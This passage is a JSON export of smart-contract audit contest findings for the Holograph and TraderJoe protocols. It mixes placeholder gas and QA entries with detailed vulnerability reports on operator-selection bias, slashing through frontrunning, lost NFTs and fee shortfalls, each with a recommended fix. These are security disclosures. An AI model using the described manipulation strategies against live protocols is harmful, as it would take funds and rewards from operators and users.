doesn't complete the job, either intentionally (they're sacrificing their bonded amount to harm the token owner) or innocently (hardware failure that caused a loss of access to the wallet) * Gas price has spiked, and isn't going down than the `gasPrice` set by the user in the bridge out request Then the bridging request wouldn't complete and the token owner would loos access to the token till the gas price goes back down again. ## Proof of Concept The fact that no one but the selected operator can execute the job in case of a gas spike has been proven by the test ['Should fail if there has been a gas spike'](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/test/14_holograph_operator_tests.ts#L834-L844) provided by the sponsor. An example of a price spike can be in the recent month in the Ethereum Mainnet where the min gas price was 3 at Oct 8, but jumped to 14 the day after and didn't go down since then (the min on Oct 9 was lower than the avg of Oct8, but users might witness a momentarily low gas price and try to hope on it). See the [gas price chat on Etherscan](https://etherscan.io/chart/gasprice) for more details. ## Recommended Mitigation Steps In case of a gas price spike, instead of refusing to let other operators to execute the job, let them execute the job without slashing the selected operator. This way, after a while also the owner can execute the job and pay the gas price."}, {"title": "An attacker can manipulate each pod and gain an advantage over the remainder Operators", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/168", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L484-L539 https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L1138-L1144 # Vulnerability details # H001 An attacker can manipulate each pod and gain an advantage over the remainder Operators ## Impact In [contracts/HolographOperator.sol#crossChainMessage](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L484-L539), each Operator is selected by: - Generating a random number ([L499](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L499)) - A pod is selected by dividing the random with the total number of pods, and using the remainder ([L503](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L503)) - An Operator of the selected pod is chosen using the **same** random and dividing by the total number of operators ([L511](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L511)). This creates an unintended bias since the first criterion (the `random`) is used for both selecting the pod and selecting the Operator, as explained in a previous issue (`M001-Biased distribution`). In this case, an attacker knowing this flaw can continuously monitor the contracts state and see the current number of pods and Operators. Accordingly to the [documentation](https://docs.holograph.xyz/holograph-protocol/operator-network-specification#operator-job-selection) and provided [flow](https://github.com/code-423n4/2022-10-holograph/blob/main/docs/IMPORTANT_FLOWS.md#joining-pods): * An Operator can easily join and leave a pod, albeit when leaving a small fee is paid * An Operator can only join one pod, but an attacker can control multiple Operators * The attacker can then enter and leave a pod to increase (unfairly) his odds of being selected for a job Honest Operators may feel compelled to leave the protocol if there are no financial incentives (and lose funds in the process), which can also increase the odds of leaving the end-users at the hands of a malicious Operator. ## Proof of Concept Consider the following simulation for 10 pods with a varying number of operators follows (X \u2192 \"does not apply\"): | Pod n | Pon len | Op0 | Op1 | Op2 | Op3 | Op4 | Op5 | Op6 | Op7 | Op8 | Op9 | Total Pod | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | P0 | 10 | 615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 615 | | P1 | 3 | 203 | 205 | 207 | X | X | X | X | X | X | X | 615 | | P2 | 6 | 208 | 0 | 233 | 0 | 207 | 0 | X | X | X | X | 648 | | P3 | 9 | 61 | 62 | 69 | 70 | 65 | 69 | 61 | 60 | 54 | X | 571 | | P4 | 4 | 300 | 0 | 292 | 0 | X | X | X | X | X | X | 592 | | P5 | 10 | 0 | 0 | 0 | 0 | 0 | 586 | 0 | 0 | 0 | 0 | 586 | | P6 | 2 | 602 | 0 | X | X | X | X | X | X | X | X | 602 | | P7 | 7 | 93 | 93 | 100 | 99 | 76 | 74 | 78 | X | X | X | 613 | | P8 | 2 | 586 | 0 | X | X | X | X | X | X | X | X | 586 | | P9 | 6 | 0 | 190 | 0 | 189 | 0 | 192 | X | X | X | X | 571 | At this stage, an attacker Mallory joins the protocol and scans the protocol (or interacts with - e.g. `getTotalPods`, `getPodOperatorsLength`). As an example, after considering the potential benefits, she chooses pod `P9` and sets up some bots `[B1, B2, B3]`. The number of Operators will determine the odds, so: | Pod P9 | Alt len | Op0 | Op1 | Op2 | Op3 | Op4 | Op5 | Op6 | Op7 | Op8 | Op9 | Total Pod | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | P9A | 4 | 0 | 276 | 0 | 295 | X | X | X | X | X | X | 571 | | P9B | 5 | 0 | 0 | 0 | 0 | 571 | X | X | X | X | X | 571 | | P9 | 6 | 0 | 190 | 0 | 189 | 0 | 192 | X | X | X | X | 571 | | P9C | 7 | 66 | 77 | 81 | 83 | 87 | 90 | 87 | X | X | X | 571 | | P9D | 8 | 0 | 127 | 0 | 147 | 0 | 149 | 0 | 148 | X | X | 571 | And then: 1. She waits for the next job to fall in `P9` and keeps an eye on the number of pods, since it could change the odds. 2. After an Operator is selected (he [pops](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L518) from the array), the number of available Operators change to 5, and the odds change to `P9B`. 3. She deploys `B1` and it goes to position `Op5`, odds back to `P9`. If the meantime the previously chosen Operator comes back to the `pod`, see the alternative timeline. 4. She now has 1/3 of the probability to be chosen for the next job: 4.1 If she is not chosen, [she will assume the position](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L1138-L1144) of the chosen Operator, and deploys `B2` to maintain the odds of `P9` and controls 2/3 of the pod. 4.2 If she is chosen, she chooses between employing another bot or waiting to execute the job to back to the pod (keeping the original odds). 5. She can then iterate multiple times to swap to the remainder of possible indexes via step 4.1. Alternative timeline (from previous 3.): 1. The chosen Operator finishes the job and goes back to the pod. Now there's 7 members with uniform odds (`P9C`). 2. Mallory deploys `B2` and the length grows to 8, the odds turn to `P9D` and she now controls two of the four possible indexes from which she can be chosen. There are a lot of ramifications and possible outcomes that Mallory can manipulate to increase the odds of being selected in her favor. ## Tools Used Manual ## Recommended Mitigation Steps Has stated in `M001-Biased distribution`, use two random numbers for pod and Operator selection. Ideally, an independent source for randomness should be used, but following the assumption that the one used in [L499](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L499) is safe enough, using the most significant bits (e.g. `random >> 128`) should guarantee an unbiased distribution. Also, reading the [EIP-4399](https://eips.ethereum.org/EIPS/eip-4399) could be valuable. Additionally, since randomness in blockchain is always tricky to achieve without an oracle provider, consider adding additional controls (e.g. waiting times before joining each pod) to increase the difficulty of manipulating the protocol. And finally, in this particular case, removing the swapping mechanism (moving the last index to the chosen operator's current index) for another mechanism (shifting could also create conflicts [with backup operators?](https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L358-L370)) could also increase the difficulty of manipulating a particular pod. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Implementation code does not align with the business requirement: Users are not charged with withdrawn fee when user unbound token in HolographOperator.sol", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/142", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L899 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L920 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L924 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L928 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L932 # Vulnerability details ## Impact When user call unbondUtilityToken to unstake the token, the function read the available bonded amount, and transfer back to the operator https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L899 ```solidity /** * @dev get current bonded amount by operator */ uint256 amount = _bondedAmounts[operator]; /** * @dev unset operator bond amount before making a transfer */ _bondedAmounts[operator] = 0; /** * @dev remove all operator references */ _popOperator(_bondedOperators[operator] - 1, _operatorPodIndex[operator]); /** * @dev transfer tokens to recipient */ require(_utilityToken().transfer(recipient, amount), \"HOLOGRAPH: token transfer failed\"); ``` the logic is clean, but does not conform to the buisness requirement in the documentation, the doc said https://docs.holograph.xyz/holograph-protocol/operator-network-specification#operator-job-selection >To move to a different pod, an Operator must withdraw and re-bond HLG. Operators who withdraw HLG will be charged a 0.1% fee, the proceeds of which will be burned or returned to the Treasury. The charge 0.1% fee is not implemented in the code. there are two incentive for bounded operator to stay, the first is the reward incentive, the second is to avoid penalty with unbonding. Without chargin the unstaking fee, the second incentive is weak and the operator can unbound or bond whenver they want ## Proof of Concept https://docs.holograph.xyz/holograph-protocol/operator-network-specification#operator-job-selection ## Tools Used Manual Review ## Recommended Mitigation Steps we recommend charge the 0.1% unstaking fee to make the code align with the busienss requirement in the doc. ```solidity /** * @dev get current bonded amount by operator */ uint256 amount = _bondedAmounts[operator]; uint256 fee = chargedFee(amount); // here amount -= fee; /** * @dev unset operator bond amount before making a transfer */ _bondedAmounts[operator] = 0; /** * @dev remove all operator references */ _popOperator(_bondedOperators[operator] - 1, _operatorPodIndex[operator]); /** * @dev transfer tokens to recipient */ require(_utilityToken().transfer(recipient, amount), \"HOLOGRAPH: token transfer failed\"); ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/136", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Failed job can't be recovered. NFT may be lost.", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/102", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "selected-for-report", "edited-by-warden", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L329 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L419-L429 # Vulnerability details ## Impact Failed job can't be recovered. NFT may be lost. ## Proof of Concept ```solidity function executeJob(bytes calldata bridgeInRequestPayload) external payable { ... delete _operatorJobs[hash]; ... try HolographOperatorInterface(address(this)).nonRevertingBridgeCall{value: msg.value}( msg.sender, bridgeInRequestPayload ) { /// @dev do nothing } catch { _failedJobs[hash] = true; emit FailedOperatorJob(hash); } } ``` First, it will `delete _operatorJobs[hash];` to have it not replayable. Next, assume nonRevertingBridgeCall failed. NFT won't be minted and the catch block is entered. _failedJobs[hash] is set to true and event is emitted Notice that _operatorJobs[hash] has been deleted, so this job is not replayable. This mean NFT is lost forever since we can't retry executeJob. ## Recommended Mitigation Steps Move `delete _operatorJobs[hash];` to the end of function executeJob covered in `if (!_failedJobs[hash])` ```solidity ... if (!_failedJobs[hash]) delete _operatorJobs[hash]; ... ``` But this implementation is not safe. The selected operator may get slashed. Additionally, you may need to check _failedJobs flag to allow retry for only the selected operator."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "selected-for-report", "edited-by-warden", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "A verifier with a signature address of zero is not rejected. Anyone is allowed to sign", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "grade-b"], "target": "2022-10-holograph-findings", "body": "A verifier with a signature address of zero is not rejected. Anyone is allowed to sign"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Contract ERC20H lacks withdraw functions", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/55", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/abstract/ERC20H.sol#L106-L229 # Vulnerability details ## Impact Contract ERC20H has payable functions (receive(), fallback(), etc.), but does not have a function to withdraw, therefore, every Ether sent to HolographERC20 will be lost. ## Proof of Concept Contract functions and structure illustrate the concept. ## Tools Used Slither ## Recommended Mitigation Steps Remove the payable attribute or add a withdraw function."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas price spikes cause the selected operator to be vulnerable to frontrunning and be slashed", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/44", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "selected-for-report", "edited-by-warden", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L354 # Vulnerability details ## Impact Gas price spikes cause the selected operator to be vulnerable to frontrunning and be slashed. ## Proof of Concept ```solidity require(gasPrice >= tx.gasprice, \"HOLOGRAPH: gas spike detected\"); ``` ```solidity /** * @dev select operator that failed to do the job, is slashed the pod base fee */ _bondedAmounts[job.operator] -= amount; /** * @dev the slashed amount is sent to current operator */ _bondedAmounts[msg.sender] += amount; ``` Since you have designed a mechanism to prevent other operators to slash the operator due to \"the selected missed the time slot due to a gas spike\". It can induce that operators won't perform their job if a gas price spike happens due to negative profit. But your designed mechanism has a vulnerability. Other operators can submit their transaction to the mempool and queue it using `gasPrice in bridgeInRequestPayload`. It may get executed before the selected operator as the selected operator is waiting for the gas price to drop but doesn't submit any transaction yet. If it doesn't, these operators lose a little gas fee. But a slashed reward may be greater than the risk of losing a little gas fee. ```solidity require(timeDifference > 0, \"HOLOGRAPH: operator has time\"); ``` Once 1 epoch has passed, selected operator is vulnerable to slashing and frontrunning. ## Recommended Mitigation Steps Modify your operator node software to queue transactions immediately with `gasPrice in bridgeInRequestPayload` if a gas price spike happened. Or allow gas fee loss tradeoff to prevent being slashed."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/1", "labels": ["responded"], "target": "2022-10-holograph-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/480", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-14"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/477", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-11"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "User can lose input token amount while receiving no output token amount when swapping for output token that becomes non-existent", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/475", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-10"], "target": "2022-10-traderjoe-findings", "body": "User can lose input token amount while receiving no output token amount when swapping for output token that becomes non-existent"}, {"title": "Incorrect fee calculation on LBPair (fees collected on swaps are less than what they \"should\" be)", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/470", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "primary issue", "sponsor confirmed", "selected for report", "M-07"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/libraries/SwapHelper.sol#L59-L65 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L329-L330 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L124-L125 # Vulnerability details # LBPair contracts consistently collect less fees than their FeeParameters --- ## Github and source code https://github.com/sha256yan/incorrect-fee --- ## Motivation and Severity LBpair contracts' fees fall short by 0.1% on single bin with the deficit growing exponentially with multi-bin swaps. This report will refer to this difference in fees, that is, the difference between the expected fees and the actual collected fees as the \"Fee Deficit\". ![feeDeficitGrowth](https://user-images.githubusercontent.com/91401566/197405701-e6df80c4-dcdf-44f5-9fd2-74ef1c66b954.png) The exponential growth of the Fee Deficit percentage is concerning, considering that the vast majority of the fees collected by LPs and DEXs are during high volatility periods. Note that the peak Fee Deficit percentage of 1.6% means that 1.6% of expected fees would not be collected. https://user-images.githubusercontent.com/91401566/197406096-5771893b-82f6-43e8-aa42-ccda449e4936.mov With an assumed average total fee of 1% (higher than usual due to ```variableFee``` component) and average Fee Deficit percentage of 0.4%; The total Fee Deficit from a period similar to May 7th 2022 - May 14th 2022, with approximately \\$1.979B in trading volume, would be $***79,160*** over one week. [SwapHelper.getAmounts](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/libraries/SwapHelper.sol#L59-L65) carries most of the blame for this error. 3 main causes have been identified and will be discussed in this report. - [Incorrect use of getFeeAmountFrom](#incorrect-use-of-getfeeamountfrom) - [Incorrect conditional for amountIn overflow](#incorrect-conditional-for-amountin-overflow) - [Need for an additional FeeHelper function](#need-for-an-additional-feehelper-function) --- ### Affected contracts and libraries - LBPair.sol - [swap](https://github.com/sha256yan/incorrect-fee/blob/dc355df9ee61a41185dedd7017063fc508584f24/src/LBPair.sol#L304-L330) - LBRouter.sol - [getSwapIn](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/LBRouter.sol#L124-L125) - [getSwapOut](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/LBRouter.sol#L168-L169) - SwapHelper.sol - [getAmounts](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/libraries/SwapHelper.sol#L59-L65) --- ### Proposed changes - FeeHelper.sol - [getAmountInWithFees](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/libraries/FeeHelper.sol#L164-L173) ( ***New*** ) - SwapHelper.sol - [getAmountsV2](https://github.com/sha256yan/incorrect-fee/blob/348b00988d377d96c9ad64917413524815739884/src/libraries/SwapHelper.sol#L118-L126) ( ***New*** ) - LBRouter.sol - [getSwapIn](https://github.com/sha256yan/incorrect-fee/blob/716cddf2583da86674376cb5346bf46b701b242c/test/mocks/correctFee/LBRouterV2.sol#L124-L125) ( ***Modified*** ) - [getSwapOut](https://github.com/sha256yan/incorrect-fee/blob/c1719b8429c7d25e4e12fc4632842285a2eaaf8b/test/mocks/correctFee/LBRouterV2.sol#L168-L169) ( ***Modified*** ) - LBPair.sol - [swap](https://github.com/sha256yan/incorrect-fee/blob/348b00988d377d96c9ad64917413524815739884/test/mocks/correctFee/LBPair.sol#L332-L333) ( ***Modified*** ) --- ### Details - As mentioned earlier, most issues arise from SwapHelper.getAmounts . The SwapHelper library is often used for the Bin type. ([Example in LBPair](https://github.com/sha256yan/incorrect-fee/blob/dc355df9ee61a41185dedd7017063fc508584f24/src/LBPair.sol#L36)). The proposed solution includes the new functions [SwapHelper.getAmountsV2](https://github.com/sha256yan/incorrect-fee/blob/48b5caee818c1befb5733c3f96e415ca14a67bf2/src/libraries/SwapHelper.sol#L76-L133) and [FeeHelper.getAmountInWithFees](https://github.com/sha256yan/incorrect-fee/blob/48b5caee818c1befb5733c3f96e415ca14a67bf2/src/libraries/FeeHelper.sol#L164-L173). - LBPair.swap uses _bin.getAmounts(...) on the active bin to calculate fees. ([See here](https://github.com/sha256yan/incorrect-fee/blob/dc355df9ee61a41185dedd7017063fc508584f24/src/LBPair.sol#L329-L330)) - Inside of SwapHelper.getAmounts, for a given swap, if a bin has enough liqudity, the fee is calculated using ([FeeHelper.getFeeAmountFrom](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/libraries/SwapHelper.sol#L65)). This results in smaller than expected fees. - LBRouter.getSwapOut relies on SwapHelper.getAmounts to simulate swaps. Its simulations adjust to the correct fee upon using SwapHelper.getAmountsV2 ([LBRouter.getSwapOut](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/LBRouter.sol#L124-L125), [SwapHelper.getAmounts](), [SwapHelper.getAmountsV2]()) - LBRouter.getSwapIn has a fee calculation error which is independent of SwapHelper.getAmounts. ([See here](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/LBRouter.sol#L168-L169)) - As of right now the LBPair.swap using getAmountsV2 uses 3.8% ***more*** gas. ![LBPair comparison](https://user-images.githubusercontent.com/91401566/197410772-e3f1cb99-7181-48f7-a56a-2430176a92ff.png) --- # Incorrect use of getFeeAmountFrom - When there is enough liquidity in a bin for a swap, we should use FeeHelper.getFeeAmount(amountIn) instead of FeeHelper.getFeeAmountFrom(amountIn). ### Evidence - amountIn, the parameter passed to calculate fees, is the amount of tokens in the LBPair contract in excess of the reserves and fees of the pair for that token. [Inside LBPair.sol](https://github.com/sha256yan/incorrect-fee/blob/1396f6c07ae91bfe5833fd629357983432a97f8b/src/LBPair.sol#L312-L314) --- [Inside TokenHelper](https://github.com/sha256yan/incorrect-fee/blob/1396f6c07ae91bfe5833fd629357983432a97f8b/src/libraries/TokenHelper.sol#L59-L69) Will now use example numbers: - Let amountIn = 1e10 (meaning the user has transferred/minted 1e10 tokens to the LBPair) - Let PRECISION = 1e18 - Let totalFee = 0.00125 